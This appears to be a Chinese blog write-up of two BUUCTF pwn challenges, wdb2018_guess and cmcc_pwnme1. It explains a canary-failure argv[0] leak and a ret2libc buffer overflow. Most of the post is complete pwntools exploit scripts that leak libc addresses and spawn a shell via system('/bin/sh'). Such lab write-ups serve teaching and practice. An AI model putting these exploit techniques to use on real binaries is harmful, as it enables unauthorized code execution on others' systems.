buuctf:wdb2018_guess(stack smashing)、cmcc_pwnme1
本文最后更新于258 天前,其中的信息可能已经过时,如有错误请发送邮件到506742773@qq.com


1、wdb2018_guess分析


64位开了canary和NX,运行让你输入一个东西

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 result; // rax@9
  __int64 v4; // rcx@13
  __WAIT_STATUS stat_loc; // [sp+14h] [bp-8Ch]@1
  int v6; // [sp+1Ch] [bp-84h]@5
  __int64 v7; // [sp+20h] [bp-80h]@1
  __int64 v8; // [sp+28h] [bp-78h]@1
  char buf; // [sp+30h] [bp-70h]@4
  char s2; // [sp+60h] [bp-40h]@6
  __int64 v11; // [sp+98h] [bp-8h]@1

  v11 = *MK_FP(__FS__, 40LL);
  v8 = 3LL;
  LODWORD(stat_loc.__uptr) = 0;
  v7 = 0LL;
  sub_4009A6(a1, a2, a3);
  HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2);
  if ( HIDWORD(stat_loc.__iptr) == -1 )
  {
    perror("./flag.txt");
    _exit(-1);
  }
  read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL);
  close(SHIDWORD(stat_loc.__iptr));
  puts("This is GUESS FLAG CHALLENGE!");
  while ( 1 )
  {
    if ( v7 >= v8 )
    {
      puts("you have no sense... bye :-) ");
      result = 0LL;
      goto LABEL_13;
    }
    v6 = sub_400A11();
    if ( !v6 )
      break;
    ++v7;
    wait((__WAIT_STATUS)&stat_loc);
  }
  puts("Please type your guessing flag");
  gets(&s2);//gets输入s2可以造成栈溢出
  if ( !strcmp(&buf, &s2) )
    puts("You must have great six sense!!!! :-o ");
  else
    puts("You should take more effort to get six sence, and one more challenge!!");
  result = 0LL;
LABEL_13:
  v4 = *MK_FP(__FS__, 40LL) ^ v11;
  return result;
}


这个情况我也是第一次遇到,意思是要利用stack smashing漏洞,主动出发canary保护来泄露一些东西,以没有canary我们基本是用puts或者write来泄露libc嘛。这里程序会循环的执行,手动试了是3次,我们先让他溢出一下试试

这里是程序的名称pwn,如果是本地的话就是GUESS,这个东西就是argv[0],通过canary报错输出,有一段代码可以看一下

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}


如果我们把他改成某个函数的got表是不是就可以泄露libc了,所以我们要计算一下偏移,输出pwn的时候距离我们输入有0x128

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",25294)
elf=ELF("./GUESS")

puts_got=elf.got['puts']
payload=b'a'*0x128+p64(puts_got)
p.recvuntil("Please type your guessing flag")
p.sendline(payload)
p.recvuntil("stack smashing detected ***:")
puts=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))
p.interactive()


2.23,然后把 __libc_argv[0] 覆盖为 enviorn 地址泄露栈地址

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",25294)
elf=ELF("./GUESS")

puts_got=elf.got['puts']
payload=b'a'*0x128+p64(puts_got)
p.recvuntil("Please type your guessing flag")
p.sendline(payload)
p.recvuntil("stack smashing detected ***:")
puts=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))

libc=ELF("./libc-2.23.so")
base=puts-libc.sym['puts']
environ=base+libc.sym['_environ']
payload=b'a'*0x128+p64(environ)
p.recvuntil("Please type your guessing flag")
p.sendline(payload)
p.recvuntil("stack smashing detected ***:")
stack=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(stack))

p.interactive()

然后找一下他跟flag地址的偏移是0x168

还是很巧妙的,以为刚好3次泄露,就是覆盖了三次,最后把flag的地址覆盖上去

2、wdb2018_guess flag

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",25294)
elf=ELF("./GUESS")

puts_got=elf.got['puts']
payload=b'a'*0x128+p64(puts_got)
p.recvuntil("Please type your guessing flag")
p.sendline(payload)
p.recvuntil("stack smashing detected ***:")
puts=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))

libc=ELF("./libc-2.23.so")
base=puts-libc.sym['puts']
environ=base+libc.sym['_environ']
payload=b'a'*0x128+p64(environ)
p.recvuntil("Please type your guessing flag")
p.sendline(payload)
p.recvuntil("stack smashing detected ***:")
stack=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(stack))

flag=stack-0x168
payload=payload=b'a'*0x128+p64(flag)
p.recvuntil("Please type your guessing flag")
p.sendline(payload)

p.interactive()


3、cmcc_pwnme1分析

32位啥也没开,运行一下是一个循环的菜单

main函数:

这样看起来case5值得看一看

getfruit函数

这里应该是可以利用的,栈溢出漏洞,咋回事?以为对输入的大小没有限制

getflag函数

栈溢出以后跳到这里就可以拿flag了

4、实操

from pwn import *
context.log_level="debug"
#p=remote("node5.buuoj.cn",25476)
p=process("./pwnme1")

getflag=0x8048677
payload=b'a'*(0xa4+4)+p32(getflag)
p.sendline(str(5))
p.recvuntil("Please input the name of fruit:")
p.sendline(payload)
p.interactive()


本地和远程都试了一下,没有flag,所以ret2libc吧


from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",25476)
elf=ELF("./pwnme1")

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=elf.sym['main']
p.sendline(str(5))
p.recvuntil("Please input the name of fruit:")
payload=b'a'*(0xa4+4)+p32(puts_plt)+p32(main)+p32(puts_got)
p.sendline(payload)
puts=u32(p.recvuntil(b'\xf7')[-4:])
print(hex(puts))

libc=ELF("./libc-2.23.so")
base=puts-libc.sym['puts']
sys=base+libc.sym['system']
binsh=base+next(libc.search(b'/bin/sh'))
p.sendline(str(5))
p.recvuntil("Please input the name of fruit:")
payload=b'a'*(0xa4+4)+p32(sys)+p32(0)+p32(binsh)
p.sendline(payload)
p.interactive()


就到这儿吧……

眼睛疼......
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇